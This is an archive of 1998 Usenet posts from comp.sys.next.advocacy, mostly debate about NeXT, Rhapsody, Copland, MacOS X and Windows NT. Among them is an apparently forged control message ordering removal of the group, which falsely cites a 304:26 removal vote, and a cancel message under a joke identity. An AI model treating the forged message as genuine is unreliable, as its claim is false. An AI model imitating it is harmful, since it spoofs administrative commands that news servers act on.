In <6seodd$rg0$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> "Charles W. Swiger" <chuck@codefab.com> wrote:
> > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > >Does anyone else think CSNA has outlived its usefulness?
> >
> > Nope. Although .advocacy doesn't keep _all_ of the noise out of
the rest of
> > comp.sys.next, without it the other groups would be much worse.
>
> I think the question was not so much whether there ought to be an
advocacy
> group, but whether there ought to be a _NeXT_ advocacy group.
>
> Methinks that at this point the answer is still yes, insofar as
"NeXT" is
> used as shorthand for the various upcoming new varieties of MacOS (X
server,
> X) which are heavily based on NeXT technology. But maybe we should
start
> transitioning to a MacOSX advocacy group?
>
> Ideally, we could leave all the MS vs Apple flamewars in the
traditional
> .mac.advocacy group, and focus a .macosx.advocacy group more
specifically on
> the OS X transition issues. I know, I'm probably dreaming.
>
> Stefano Pagiola
I think given the division between MacOS proper and YB (MacOS X)
programmers
that the NeXT.advocacy groups would be a valid place to have YB
advocacy
and mac.advocacy for MacOS or BlueBox advocacy etc. Though I'm sure
someone
will have reasons for why it shouldn't. I personally don't like to
read all the mac
is great crap, as much as I liked to read that NeXT was great..
Seems as if advocacy is just a free ranging place for people to spout
whatever
they want as long as it's mac or next related (here)..
IMO. I'm not sure there is a clean solution to this except that if one
were to do it one
would have to create comp.sys.macx to go along with comp.sys.mac to
cover all
the bases, and keep things compartmentalized, then next.advocacy could
die off.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: mazulauf@atmos.met.utah.edu (Mike Zulauf)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 18:32:09 -0600
Organization: Universtity of Utah - Department of Meteorology
Message-ID: <mazulauf-3108981832090001@grumpy.met.utah.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com>
NNTP-Posting-Date: 1 Sep 1998 00:31:05 GMT
In article <35e9f6f2.18392599@nntp.erinet.com>, blewis@cablestogo.com
(Brian Lewis) wrote:
> Since Amelio took charge, they've been on target for their OS
> releases.
You're forgetting a couple of exceptions. Copland (never to be released)
and Rhapsody (first release date of 1/98).
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 01:07:59 GMT
Organization: MiscKit Development
Message-ID: <6sfhdf$fbc$1@news.xmission.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com> <6sf3f2$l87$1@news.spacelab.net> <6sfd3d$adq$2@msunews.cl.msu.edu>
NNTP-Posting-Date: 1 Sep 1998 01:07:59 GMT
spammers@ruin.the.internet.channelu.com wrote:
> In <6sf3f2$l87$1@news.spacelab.net> "Charles W. Swiger" wrote:
> > Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> > >spammers@ruin.the.internet.channelu.com writes
> > >> I very much value Don Yacktman, Scott Anguish, Charles Swinger
> > > ^^^^^^^
> > >Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
> >
> > Psshaw! Greg, you're just jealous because nobody's managed
> > to creatively misspell your last name (yet!)....
>
> Yeah well you should hear people try to pronounce Rencsok. You can't
> imagine
> what people will come up with when they try to add a consonant sound
> that doen't quite fit
> in the middle of something that just works by itself.
>
> Forget spelling .. :)
Awww, quit whining. I'll bet few, if any, of the people here can say my name
right! And if they can say it, they aren't likely to be able to spell it
right...since it doesn't quite sound like it is spelled...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
Hint: silent "t" and the first a is an "awww" sound as in "father". If it
were spelled "Yockman" people would be more likely say it right...but as it
is, I usually hear "Yak-t-man" which just grates...
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 20:09:17 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <35EB493D.2F3E@globaldialog.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net> <35EAD0A2.78F8E0AA@ericsson.com> <gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net>
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George Graves wrote:
> No, its you who don't seem to understand. This is a Mac advocacy group.
Then keep this fucking thread out of the Intel newsgroup. Almost half
the posts here begin with Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Message-ID: <jpolaski-3108982049420001@d153-160.ce.mediaone.net>
References: <6sen19$990@newsb.netnews.att.com>
Organization: Polaski P/D/C, 15 West Hubbard, Chicago,IL 60610
Date: Mon, 31 Aug 1998 20:49:42 -0600
NNTP-Posting-Date: Mon, 31 Aug 1998 20:50:16 CDT
In article <6sen19$990@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> PC Week at http://www.zdnet.com/pcweek/reviews/0831/31biz.html
> has given NT 5.0 beta 2 a glowing review.
>
> It is interesting to compare this with InfoWorld's review at
> http://www.infoworld.com/cgi-bin/displayTC.pl?/reviews/980831winntserver.htm
>
> -arun gupta
====
Regtardless, the real question is whether *anyone*(read ANY programmer(s))
has the ability to effectively debug 50 million lines of code, which is
where NT 5 is at...with M$ throwing in the kitchen sink, will it get too
big for even their immense resources to debug? After all, NT 4 has had
quite a passel of *bugs* , oops, Bill said there weren't any bugs, just
"Features users requested"...so what will 5 have...
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <1998090102325300.WAA19768@ladder01.news.aol.com>
Date: 1 Sep 1998 02:32:52 GMT
Organization: AOL http://www.aol.com
References: <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
Dan said:
>2.) MS does not allways release it's products on time, because MS insists on
>"finishing" it's products before they hit the shelves.
Oh?
In that case--where's my Pen support in Win95? Gestures?
Oh, I see, it got left out.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Animated icons in MacOS X
Message-ID: <1998090102490300.WAA05400@ladder03.news.aol.com>
Date: 1 Sep 1998 02:49:03 GMT
Organization: AOL http://www.aol.com
I've asked about these several times, but've not gotten a response (presumably
because of NDA entanglements--'s okay).
Came across the answer at Stepwise. I hope SA won't mind my quoting a section
here:
from: http://www.stepwise.com/StepwiseReport/August30_1998.html
Steve's Clock - Steve Nygard has released Steve's Clock and his Animated App
Tile framework. Steve's Clock presents the digital clock/calendar, formerly
found in Clock.app or Preferences.app, in an animated tile window. It requires
the AnimatedAppTile framework (version 1998A or later), and must be on the
Fiend dock. Note: You must have the animate function activated in Fiend before
this will work. Shift click on the tile you want to animate (i.e. Steve's
Clock), hit Cmd-1 to bring up the inspector, and make sure that animate is
checked.
Steve's Clock
Mac OS X Server PPC/Intel binary and source
ftp://ftp.next.peak.org/pub/rhapsody/Applications/Clocks//StevesClock-1.0-
PI-bs.tar.gz
Readme
ftp://ftp.next.peak.org/pub/rhapsody/Applications/Clocks//StevesClock-1.0.
README
AnimatedAppTile.Framework
Mac OS X Server PPC/Intel binary and source
ftp://ftp.next.peak.org/pub/rhapsody/Developer/Frameworks//AnimatedAppTile
Framework-1998A-PI-bs.tar.gz
Readme
ftp://ftp.next.peak.org/pub/rhapsody/Developer/Frameworks//AnimatedAppTile
Framework.README
I guess I should be pleased. There's also a dock mentioned (Spectre) in
addition to Fiend.
Seems like a lot of needless duplication of effort to restore things which
Apple is taking out
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 03:25:48 GMT
Organization: Idiom Communications
Message-ID: <6sfpfs$gue$4@news.idiom.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com>
<6sf3f2$l87$1@news.spacelab.net> <6sfd3d$adq$2@msunews.cl.msu.edu>
<6sfhdf$fbc$1@news.xmission.com>
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Cc: don@misckit.com
Don Yacktman may or may not have said:
[snip]
-> Hint: silent "t" and the first a is an "awww" sound as in "father". If
it
-> were spelled "Yockman" people would be more likely say it right...but as
it
-> is, I usually hear "Yak-t-man" which just grates...
Oh, quit trying to put us on. We all know it's pronounced: "Throat-Warbler
Mangrove."
-jcr (Raymond Luxury-Yacht on alternate Thursdays)
--
"Although UNIX is more reliable, NT may become more reliable with time"
- Ron Redman, deputy technical director of the Fleet Introduction
Division of the Aegis Program Executive Office, US Navy.
Where is the line between mere incompetence and actual treason? -jcr
Date: Mon, 31 Aug 1998 21:30:54 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <stevehix-3108982130540001@192.168.1.10>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
Organization: Close to None
In article <tZsG1.3217$r1.2965200@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> The difference here is:
>
> 1.) Apple releases it's products on time by not finishing it's feature sets.
> Example, Copland hit the shelves on time, but did not have PMT or MP as
> Apple promised it would.
Copland *never* shipped. Ever. Nor will it in the future.
At *most*, some features designed for Copland were rolled into
some recent releases of MacOS 8.x, which despite the numbering
are in no way "Copland".
> 2.) MS does not allways release it's products on time, because MS insists on
> "finishing" it's products before they hit the shelves.
Right. Sure thing.
I've been a beta tester. I've been an MS customer.
The two conditions have *striking* similarities.
Newsgroups: news.groups,misc.test,alt.config,alt.test,microsoft.public.access.security,comp.sys.next.advocacy
Date: Mon, 31 Aug 1998 20:49:29 -0400
Message-ID: <ixhs3OjHP.kKsn@iastate.edu>
From: Matt Bruce <qb-announce@iastate.edu>
Organization: Abacus vs. Computer
Subject: cmsg rmgroup comp.sys.next.advocacy
Control: rmgroup comp.sys.next.advocacy
ftp://ftp.isc.org/pub/pgpcontrol/README
fw1Uy3gKyzq1nh6bo8HAyDvNxEaLb3TfVPcMs5jM0OIwRXc7G2q3WBM2QhHp43Ss
p1wyb7sctjw0yEpPC8JZjZAIu_f3itUm4T7XVOHN_2lGp9P3fqI0ptnY_5gwr2uT
LoWEQV6WGUbMPiCl14y4c0wkdsnDlHMOtTFETNF_PvjY4dG1xrNm8EgwWViX94XD
v5yiLDfrHo8=
=_UtA
comp.sys.next.advocacy is widely considered a bogus newsgroup given that it passed its vote for removal by 304:26 as reported in news.announce.newgroups on 28 Aug 1998.
Please remove the group from your active file.
Meow!
Matt Bruce <qb-announce@iastate.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <6scp0t$aru$1@reader1.reader.news.ozemail.net>
Mime-Version: 1.0
Date: Mon, 31 Aug 1998 14:46:22 GMT
In <6scp0t$aru$1@reader1.reader.news.ozemail.net> "Greg Alexander" wrote:
> Yes but Apple's upper layers (of MacOS X) already run on Mach-BSD.
> So BSD straight might be easier than Linux straight.
> Or maybe MkLinux would be easier because of the Mach?
Perhaps, but there's performance issues there. It does appear that Apple
wants to use a derivation of the Mk in MkLinux as the kernel for MacOS-X
(good, good, good), but it's hard to say what exactly we'll be getting (RT
additions? CORDS?).
I would certainly not want them having to re-implement things like DO over
a "pure" Linux kernel. It could be done, but it would be a LOT of work and
get them nothing.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple heading to obscurity?
Content-Type: text/plain; charset=us-ascii
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Cc: scott@nospam.doubleu.com
Organization: none
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<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net>
<6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
Mime-Version: 1.0
Date: Mon, 31 Aug 1998 14:42:58 GMT
In <SCOTT.98Aug28130819@slave.doubleu.com> Scott Hess wrote:
> Flip the question - what would MacOS X purchasers be willing to pay to
> get an operating system layer which works on a greater variety of
> systems?
That depends on the definition. Linux is not available on a wider
selection of hardware than the *BSD's, so this seems like a small
distinction. If you mean wider variety than PPC, then a) Apple can do this
now, b) this is exactly what they are afraid of.
> SMP is a kernel thing. If MacOS X were layered over an OpenSource BSD
> or Linux, Apple _couldn't_ use a different type of SMP, because the
> kernel does the SMP.
This is just the point though, Apple isn't using any of these.
> The only downside I see to Linux is possible buy-in. I think that
> some Linux users would purchase a MacOS X type superstructure - but
> more users would probably avoid the system _because_ it's Linux. _I_
> wouldn't I'm just spouting perceptions.
I don't think anyone will care one way or the other actually, as long as it
works. It could be Multics.
Basing the core product on Linux gets _Apple_ nothing (not users or
customers, _Apple_). They don't want to sell a PC based product, so
basically all of those advantages go out the window (and honest, DR2's
hardware support is pretty good, it installed itself _perfectly_ on the first
try, even IDing all of my hardware, much of which didn't exist when they
wrote the last release version). Apple is not interested in non-PPC markets,
whether you like that or not.
The real question is, "on a PPC box, what does MacOS-X = Linux + YB +
Carbon + BB get Apple that MacOS-X = Mach + YB + Carbon + BB doesn't". I've
been asking this question for a long time now, and still no one's come up
with a good answer. I can think of many things it doesn't get them.
> potentially claim that their Unix layer is proprietary while folding
> in new additions to BSD. Then later they could back off on the
> proprietary part, and merge back into one of the BSD development
> streams. _After_ MacOS X is successful.
I don't think Apple is interested in any of this. I think their interest
in the *BSD streams is much simpler - they have a Mach kernel with BSD inside
it, an older BSD. They want a Mach kernel with an up to date BSD in it.
Linux simply never entered the picture.
Maury
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 01 Sep 1998 00:43:12 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0109980043120001@sdn-ar-001casbarp011.dialsprint.net>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <EyKFps.25B@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> Basically the _real_ problem is in the last step, the rest happen
> "instantly" from the user perspective. If the call back into the menu
> handler can be made smarter it should work fine. No? Can you think of a
> case where this would not work?
>
> I should point out that SoftArc implemented their own menu hander that
> called into WNE for just this reason. The only undue side effect was the
> ugly results when the console updated with the menu down - but simply being
> based on a windowserver would change that. They didn't base original menus
> on windows because it was too expensive, but those days are over.
Hey Maury, is that why when I use fc client, and say have a transfer
going, and then open a new app, the transfer window will draw itself over
the new app windows spash screen?
This has happened since I started using it, and still occurs with 3.51.
It is really really really sucky programming, and I wonder how why they
havent fixed this bug yet
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: smileyy@ix.netcom.com (Andrew McCormick)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 11:08:30 -0400
Organization: ICGNetcom
Message-ID: <smileyy-3108981108300001@192.168.0.2>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <*-3108982046430001@dub-ppp-051.tpgi.com.au> <aexG1.3241$r1.3151893@newsfeed.slurp.net>
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <aexG1.3241$r1.3151893@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
>Proton <*@*.*> wrote in message
><*-3108982046430001@dub-ppp-051.tpgi.com.au>...
>
>>I don't remember Copland hitting the shelves. Please explain.
>
>That was the code name. Apple changed plans... they released their product
>on time, but without PMT or MP.
Copland was neither on time, nor ever released. Mac OS 8 was released on
time, with the feature set designated for it.
Andrew McCormick
--
smileyy@ix.netcom.com
Date: Mon, 31 Aug 1998 08:47:52 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <stevehix-3108980847530001@ip30.safemail.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <*-3108982046430001@dub-ppp-051.tpgi.com.au> <aexG1.3241$r1.3151893@newsfeed.slurp.net>
Organization: Close to None
In article <aexG1.3241$r1.3151893@newsfeed.slurp.net>, "Dan"
<dan@knowspaam.com> wrote:
> Proton <*@*.*> wrote in message
> <*-3108982046430001@dub-ppp-051.tpgi.com.au>...
>
> >I don't remember Copland hitting the shelves. Please explain.
>
> That was the code name. Apple changed plans... they released their product
> on time, but without PMT or MP.
Not Copland, they didn't.
Bits of what was to have been in Copland got rolled into MacOS 8.x,
though.
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 15:46:54 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6seghe$aue$1@sun27.hrz.tu-darmstadt.de>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net>
"Charles W. Swiger" <chuck@codefab.com> wrote:
>Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>>Does anyone else think CSNA has outlived its usefulness?
>
>Nope. Although .advocacy doesn't keep _all_ of the noise out of the rest of
>comp.sys.next, without it the other groups would be much worse.
Amen. :-)
We oldtimers might however decide to move to another place without
the 'a' word, such as comp.sys.next.nostalgia, and talk about
the good old times when somebody smuggled a SEF image into a
Newsgrazer binary. Maybe Lawson will come along and we have the
occasional little flamefest, that would be fun - at least his
postings were always on topic.
(What we really need is a distributed cooperative filter
mechanism though. If you are interested, drop me a line,
or post in .programmer or .misc)
All the best, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
Date: Mon, 31 Aug 1998 12:14:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <joe.ragosta-3108981214100001@wil35.dol.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com>
In article <6sedab$854@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >> 2.) MS does not allways release it's products on time, because MS
insists on
> >> "finishing" it's products before they hit the shelves.
>
> Utter BS. Show us one, just one, OS release Microsoft has done after 1994,
> that was feature-complete (i.e., it had all the features talked about in
> the myriads of Microsoft press releases before the actual release).
Or show us one that was within even a year of its original target date.
Heck, make that two years.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 31 Aug 1998 17:12:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6seli7$5q$1@wbnws01.ne.highway1.com>
References: <6rd076$dc1$1@leol.net-link.net> <6rdhkg$55c$1@lwnws01.ne.highway1.com> <6rdoq7$4fl$1@news.digifix.com> <35daf168.0@news.depaul.edu> <6rf9rf$fon$1@lwnws01.ne.highway1.com> <6sefav$aos$2@news.spacelab.net>
"Charles W. Swiger" <chuck@codefab.com> wrote:
> John Kheit <jkheit@mediaone.net> wrote:
> [ ... ]
> >> This would be cool if the computer were interfaced with a high
> >> capacity music CD changer, or MP3 Jukebox. "Put on something by
> >> Over the Rhine or Garbage". "Play Colossal Head". "Play it again,
> >> Sam". Ask "What song was that?" and a window pops up with artist,
> >> album, and song title.
> >
> > Yes, I agree. I have one of them 200CD jukeboxes, and it's
> > nice. But programming it is a royal pain and still doesn't do
> > things like I'd like it to. It would be great to have "passive
> > dynamic voice programming." The user could say "less" or "more"
> > and the random song currently playing would be more or less
> > likely to come up at random in the future. That way over time
> > a user's tastes would be a hueristic for song selection.
>
> Ah, a perfect candidate for one or more neural network learning
> algorithms. Represent each song as a node, and the connections
> between them as the "song transition" preferences. You could
> then have two sorts of rating: how much you like a given song,
> and how much you liked the transition.
Oh, me wants. Me wants. :) I guess you could verbally assign the "mood"
for the music, and the connections would be made under that catagory. So for
example, you would say "blues mood" and all your likes/dislikes would be
based under that catagory. That would be so neeto.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35e8f87a.0@mithril.niia.net>
Control: cancel <35e8f87a.0@mithril.niia.net>
Date: 30 Aug 1998 11:08:00 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: omxjvrpvme@somethingfunny.net
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From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: Mon, 31 Aug 1998 13:39:57 -0400
Organization: Cabletron Systems Inc.
Message-ID: <35EADFEC.237C228A@ctron.com>
References: <6s74gu$ms5@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> "the NT group is short of top programmers and managers
> and losing more every day. What's amiss here is that there
> are major internal doubts emerging about NT 5.0 and nobody
> wants to be the champion of a product that can't be made to work."
>
Sounds like Apple in 96-97 and yet, they seem to be doing much better
now. So, maybe it's bad news, maybe not quite so bad. (Of course,
Apple did have the infux of NeXT developers to bolster the ranks in
key development positions). MS could go with upgrades to NT 4.0
rather than a full blown NT 5.0 release, if in fact it turned out
to be too unstable, or just a watered down NT 5.0 release.
The second sentence is worse, if internal sales and marketing
folks loose their legendary tenacity and aggressiveness - MS
would be serverly weakened.
It ia a very interesting article.
AJ LaSalle
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:00:01 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3108981100020001@sf-usr1-60-188.dialup.slip.net>
References: <35dc7478.113530583@news.iafrica.com> <gmgraves-2008981831490001@sf-usr1-14-142.dialup.slip.net> <6rj375$cu3$1@nnrp1.dejanews.com> <gmgraves-2108981144550001@sf-usr1-13-141.dialup.slip.net> <6rkr4s$idn$1@nnrp1.dejanews.com> <gmgraves-2108981746160001@sf-pm5-12-76.dialup.slip.net> <6rm07c$srq$1@nnrp1.dejanews.com> <a_fraser-2208981126550001@port-50-11.access.one.net> <6rn70v$4lk$1@nnrp1.dejanews.com> <a_fraser-2208982035140001@port-32-31.access.one.net> <35e17205.3325187@198.0.0.100> <gmgraves-2308981611320001@sf-usr1-42-170.dialup.slip.net> <35EADD8C.3990B52F@algonet.se>
In article <35EADD8C.3990B52F@algonet.se>, Petri Holopainen
<petrih@algonet.se> wrote:
> George Graves wrote:
> >
> > Apple, IMOH, is smart to replace these aging ports
> > with a real, daisy-chainable bus like USB.
>
> The USB debuted on PCs a long time ago, I saw my first
> USB-port on a Dell back in late 1996, I think. So I guess
> Dell was smarter than Apple, following your logic.
Certainly Dell was anticipatory if nothing else. Especially
since Windows wouldn't even SUPPORT USB in 1996. In
fact, USB hasn't taken off very well on the PC side in spite
of their head start. Apple, on the other hand, has forced the
issue with iMac by removing all alternatives from the
machine. If all the PC makers had done the same, PCs would
be mostly USB as well.
George Graves
From: droege@informatik.uni-koblenz.Drop_This.de (Detlev Droege)
Newsgroups: comp.sys.next.advocacy
Subject: Re: [Q] YR2K
Date: 1 Sep 1998 09:46:09 GMT
Organization: University Koblenz / CC
Distribution: world
Message-ID: <6sgfp1$1ua$1@newshost>
References: <1998082808231800.EAA23277@ladder03.news.aol.com>
In article <1998082808231800.EAA23277@ladder03.news.aol.com> merefbast@aol.com
(MerefBast) writes:
> Is NeXT year 2000 compliant in all of its operating system calls and
system
> services? If so, since what version has this been true?
>
> Copies of replies being sent to CatGuy@lamg.com or MerefBast@aol.com would
> be appreciated.
Have a look at the online release notes for Rhapsody at Apple:
http://developer.apple.com/techpubs/rhapsody/System/Documentation/Developer/Y
ellowBox/ReleaseNotes/Year2000.html
Detlev
--
Detlev Droege, Universitaet Koblenz, FB Informatik | Fon:+49 261 9119-421
Rheinau 1, D-56075 Koblenz, Germany | Fax:+49 261 9119-497
NeXT/MIME/Email: droege@informatik.uni-koblenz.Drop_This.de
Drop the "Drop_This." part in my Email-address to reply.
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: Mon, 31 Aug 1998 18:01:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6seodd$rg0$1@nnrp1.dejanews.com>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net>
"Charles W. Swiger" <chuck@codefab.com> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >Does anyone else think CSNA has outlived its usefulness?
>
> Nope. Although .advocacy doesn't keep _all_ of the noise out of the rest of
> comp.sys.next, without it the other groups would be much worse.
I think the question was not so much whether there ought to be an advocacy
group, but whether there ought to be a _NeXT_ advocacy group.
Methinks that at this point the answer is still yes, insofar as "NeXT" is
used as shorthand for the various upcoming new varieties of MacOS (X server,
X) which are heavily based on NeXT technology. But maybe we should start
transitioning to a MacOSX advocacy group?
Ideally, we could leave all the MS vs Apple flamewars in the traditional
.mac.advocacy group, and focus a .macosx.advocacy group more specifically on
the OS X transition issues. I know, I'm probably dreaming.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
